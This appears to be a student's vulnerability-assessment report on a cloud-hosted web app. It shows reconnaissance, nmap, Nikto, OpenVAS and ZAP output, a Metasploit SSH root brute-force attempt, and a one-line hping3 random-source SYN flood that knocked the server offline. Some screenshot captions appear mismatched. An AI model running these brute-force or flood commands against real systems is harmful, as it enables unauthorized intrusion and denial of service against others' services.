

## Network – Vulnerability Scans

Through this interesting task, I was exposed to a vast amount of network tools like PING /WHOIS / TRACEROUTE or TRACERT (Windows) / DIG / NSLOOKUP and so on.

```
Microsoft Windows [Version 10.0.19043.1055]
(c) Microsoft Corporation. All rights reserved.

C:\Users\User_5501>nslookup nismphp-env.eba-wj5kp8st.us-east-1.elasticbeanstalk.com
Server:   one.one.one.one
Address:  1.1.1.1

Non-authoritative answer:
Name:     nismphp-env.eba-wj5kp8st.us-east-1.elasticbeanstalk.com
Address:  35.175.70.228

C:\Users\User_5501>ping 35.175.70.228

Pinging 35.175.70.228 with 32 bytes of data:
Reply from 35.175.70.228: bytes=32 time=122ms TTL=220
Reply from 35.175.70.228: bytes=32 time=122ms TTL=220
Reply from 35.175.70.228: bytes=32 time=122ms TTL=220
Reply from 35.175.70.228: bytes=32 time=122ms TTL=220

Ping statistics for 35.175.70.228:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 122ms, Maximum = 122ms, Average = 122ms
```

```
C:\Users\User_5501>tracert 35.175.70.228

Tracing route to ec2-35-175-70-228.compute-1.amazonaws.com [35.175.70.228]
over a maximum of 30 hops:

  0  1    2 ms    3 ms    3 ms  speedport-entry-2i.ote.gr [REDACTED]
  1  2   16 ms   9 ms   12 ms  80.106.125.100
  2  3   11 ms  11 ms  10 ms  nyma-asr99b-terp-asr9ka.backbone.otenet.net [79.128.241.141]
  3  4   11 ms   8 ms   8 ms  62.75.3.117
  4  5   50 ms  51 ms  50 ms  62.75.6.102
  5  6   50 ms  50 ms  50 ms  217.161.90.229
  6  7  118 ms 118 ms 118 ms  ae32-xcr2.nyk.cw.net [195.2.8.46]
  7  8  118 ms 121 ms 117 ms  52.95.216.78
  8  9  118 ms 124 ms 137 ms  52.93.4.83
  9 10  118 ms 118 ms 118 ms  52.93.4.28
 10 11   *      *      *      Request timed out.
 11 12   *      *      *      Request timed out.
 12 13   *      *      *      Request timed out.
 13 14   *      *      *      Request timed out.
 14 15   *      *      *      Request timed out.
 15 16   *      *      *      Request timed out.
 16 17 125 ms 124 ms 125 ms 150.222.243.201
 17 18   *      *      *      Request timed out.
 18 19   *      *      *      Request timed out.
 19 20   *      *      *      Request timed out.
 20 21   *      *      *      Request timed out.
 21 22   *      *      *      Request timed out.
 22 23   *      *      *      Request timed out.
 23 24   *      *      *      Request timed out.
 24 25   *      *      *      Request timed out.
 25 26   *      *      *      Request timed out.
 26 27   *      *      *      Request timed out.
 27 28 124 ms 124 ms 124 ms 52.93.28.240
 28 29   *      *      *      Request timed out.
 29 30   *      *      *      Request timed out.

Trace complete.
```

```

(kali@kali)-[~]
└─$ whois 35.175.70.228

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2021, American Registry for Internet Numbers, Ltd.
#

NetRange:      35.152.0.0 - 35.183.255.255
CIDR:          35.152.0.0/13, 35.160.0.0/12, 35.176.0.0/13
NetName:       AT-88-Z
NetHandle:     NET-35-152-0-0-1
Parent:        NET35 (NET-35-0-0-0-0)
NetType:       Direct Allocation
OriginAS:
Organization:  Amazon Technologies Inc. (AT-88-Z)
RegDate:      2016-08-09
Updated:      2016-08-09
Ref:          https://rdap.arin.net/registry/ip/35.152.0.0

OrgName:       Amazon Technologies Inc.
OrgId:         AT-88-Z
Address:       410 Terry Ave N.
City:          Seattle
StateProv:    WA
PostalCode:   98109
Country:      US
RegDate:      2011-12-08
Updated:      2020-03-31
Comment:      All abuse reports MUST include:
Comment:      * src IP
Comment:      * dest IP (your IP)
Comment:      * dest port
Comment:      * Accurate date/timestamp and timezone of activity
Comment:      * Intensity/frequency (short log extracts)
Comment:      * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the
IP address at that point in time.
Ref:          https://rdap.arin.net/registry/entity/AT-88-Z

OrgRoutingHandle: ADR29-ARIN

```

```

(kali@kali)-[~]
└─$ sudo traceroute -I 35.175.70.228
[sudo] password for kali:
traceroute to 35.175.70.228 (35.175.70.228), 30 hops max, 60 byte packets
 1 192.168.109.2 (192.168.109.2) 0.840 ms 0.793 ms 0.773 ms
 2 192.168.1.1 (192.168.1.1) 3.174 ms 3.156 ms 4.584 ms
 3 80.106.125.100 (80.106.125.100) 11.213 ms 11.186 ms 11.084 ms
 4 nyma-asr99b-terp-asr9ka.backbone.otenet.net (79.128.241.141) 11.058 ms 12.931 ms 12.899 ms
 5 62.75.3.117 (62.75.3.117) 12.873 ms 12.817 ms 12.758 ms
 6 62.75.6.102 (62.75.6.102) 54.666 ms 51.026 ms 50.960 ms
 7 217.161.90.229 (217.161.90.229) 68.502 ms 53.606 ms 53.529 ms
 8 ae32-xcr2.nyk.cw.net (195.2.8.46) 121.579 ms 121.551 ms 121.518 ms
 9 52.95.216.78 (52.95.216.78) 121.465 ms 121.399 ms 121.353 ms
10 52.93.4.83 (52.93.4.83) 121.315 ms 121.281 ms 121.261 ms
11 52.93.4.28 (52.93.4.28) 138.251 ms 119.742 ms 119.586 ms
12 * * *
13 150.222.242.90 (150.222.242.90) 127.173 ms 127.045 ms 127.696 ms
14 * * *
15 * * *
16 * * *
17 * * *
18 150.222.241.183 (150.222.241.183) 126.629 ms 125.962 ms 125.508 ms
19 * * *
20 * * *
21 * * *
22 * * *
23 * * *
24 * * *
25 * * *
26 * * *
27 * * *
28 * * *
29 52.93.28.240 (52.93.28.240) 127.072 ms 125.659 ms 125.538 ms
30 * * *

```

```
(kali㉿kali)-[~]
└─$ dig 35.175.70.228

;<<>> DiG 9.16.15-Debian <<>> 35.175.70.228
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NXDOMAIN, id: 50085
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 1232
;; QUESTION SECTION:
;35.175.70.228.                IN      A

;; AUTHORITY SECTION:
.                5       IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2021061800 1800 900 604800 86400

;; Query time: 56 msec
;; SERVER: 192.168.109.2#53(192.168.109.2)
;; WHEN: Fri Jun 18 10:05:40 EDT 2021
;; MSG SIZE rcvd: 117
```

Setting up and using Kali Linux on a virtual machine while using the plethora of pre-installed and additional tools was an intriguing experience that made me understand basic network functionalities and protocols in a more practical way.

NMAP was my first reconnaissance tool, although it is also considered a valuable vulnerability scanner.

Using tools only with Kali's command line was also a significant knowledge that advanced my experience with Linux OS.

```
(kali㉿kali)-[~/Desktop]
└─$ nmap -sV -sC 35.175.70.228

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 16:33 EDT
Nmap scan report for ec2-35-175-70-228.compute-1.amazonaws.com (35.175.70.228)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT      STATE SERVICE      VERSION
22/tcp    open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp    open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.10 seconds

(kali㉿kali)-[~/Desktop]
└─$ |
```

```
(kali㉿kali)-[~/Desktop]
└─$ nmap -A -T5 35.175.70.228

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 16:32 EDT
Nmap scan report for ec2-35-175-70-228.compute-1.amazonaws.com (35.175.70.228)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.4 (protocol 2.0)
|_ssh-hostkey:
| 2048 8a:1c:38:8b:0e:2e:dd:29:a9:77:19:eb:2f:12:59:5d (RSA)
| 256  a5:c2:c7:4f:f5:9c:4c:1f:ec:f9:18:38:dc:04:38:94 (ECDSA)
|_ 256  ab:0d:f6:d7:56:e5:ad:f9:89:cd:69:eb:00:56:d3:95 (ED25519)
80/tcp    open  http         Apache
|_http-server-header: Apache

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.20 seconds
```

Tools like Nikto, OpenVAS and OWASP ZAP were also vital to this project, adding value and efficiency to this effort.

```

(kali㉿kali)-[~]
└─$ nikto -h http://nismphp-env.eba-wj5kp8st.us-east-1.elasticbeanstalk.com
- Nikto v2.1.6

+ Target IP:      35.175.70.228
+ Target Hostname: nismphp-env.eba-wj5kp8st.us-east-1.elasticbeanstalk.com
+ Target Port:    80
+ Start Time:    2021-06-09 06:20:45 (GMT-4)

+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ 8026 requests: 7 error(s) and 5 item(s) reported on remote host
+ End Time:      2021-06-09 06:48:24 (GMT-4) (1659 seconds)

+ 1 host(s) tested

```

## Nikto

The screenshot shows the Greenbone Security Assistant interface. At the top, there's a navigation bar with 'Dashboards', 'Scans', 'Assets', 'Resilience', 'Security', 'Configuration', 'Administration', and 'Help'. Below this, it says 'Results 16 of 22'. There are three main charts: 'Results by Severity Class (Total: 16)', 'Results Vulnerability Word Cloud', and 'Results by CVSS (Total: 16)'. Below the charts is a table of vulnerabilities. The first entry is 'SSH Weak Encryption Algorithms Supported' with a severity of 'High' (95%), QoD of '95%', IP of '35.175.70.228', Name of 'ec2-35-175-70-228.compute-1.amazonaws.co...', Location of '22/tcp', and Created on 'Sun, Jun 6, 2021 3:47 PM UTC'. Below the table is a 'Summary' section stating 'The remote SSH server is configured to allow weak encryption algorithms.' and a 'Detection Result' section listing supported weak encryption algorithms: '3des-cbc', 'aes128-cbc', 'aes192-cbc', 'aes256-cbc', 'blowfish-cbc', and 'cast128-cbc'.

## OpenVAS

The screenshot shows the OpenVAS Automated Scan interface. At the top, there's a 'Quick Start' section with 'Request' and 'Response' buttons. Below this is the 'Automated Scan' section, which includes a 'URL to attack' field containing 'http://nismphp-env.eba-wj5kp8st.us-east-1.elasticbeanstalk.com/'. There are checkboxes for 'Use traditional spider' (checked) and 'Use ajax spider' (unchecked). Below this is a 'Progress' section showing 'Attack complete - see the Alerts tab for details of any issues found'. At the bottom, there's an 'Alerts' section with a list of alerts: 'X-Frame-Options Header Not Set (4)', 'Absence of Anti-CSRF Tokens (2)', 'Cross-Domain JavaScript Source File Inclusion (8)', 'X-Content-Type-Options Header Missing (7)', and 'Information Disclosure - Suspicious Comments'.

## OWASP ZAP

Despite the limited services and vulnerabilities presented in the web server for further analysis, I also utilized Metasploit to exploit any SSH possible vulnerability. Unfortunately, this effort did not give any results.

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	22	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	false	yes	Whether to print output for all attempts

```
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 35.175.70.228
RHOSTS => 35.175.70.228
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 35.175.70.228:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > |
```

Finally, a DoS attack with the hping3 tool (flood mode from random IPs) was succeeded, and that was maybe the most exciting part that I witness through this assessment. Only one line of code could make the web server unreachable while the script was running.

```
(kali@kali)~$ sudo hping3 --rand-source 35.175.70.228 -S -q -p 80 --flood
HPING 35.175.70.228 (eth0 35.175.70.228): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 35.175.70.228 hping statistic ---
51787388 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

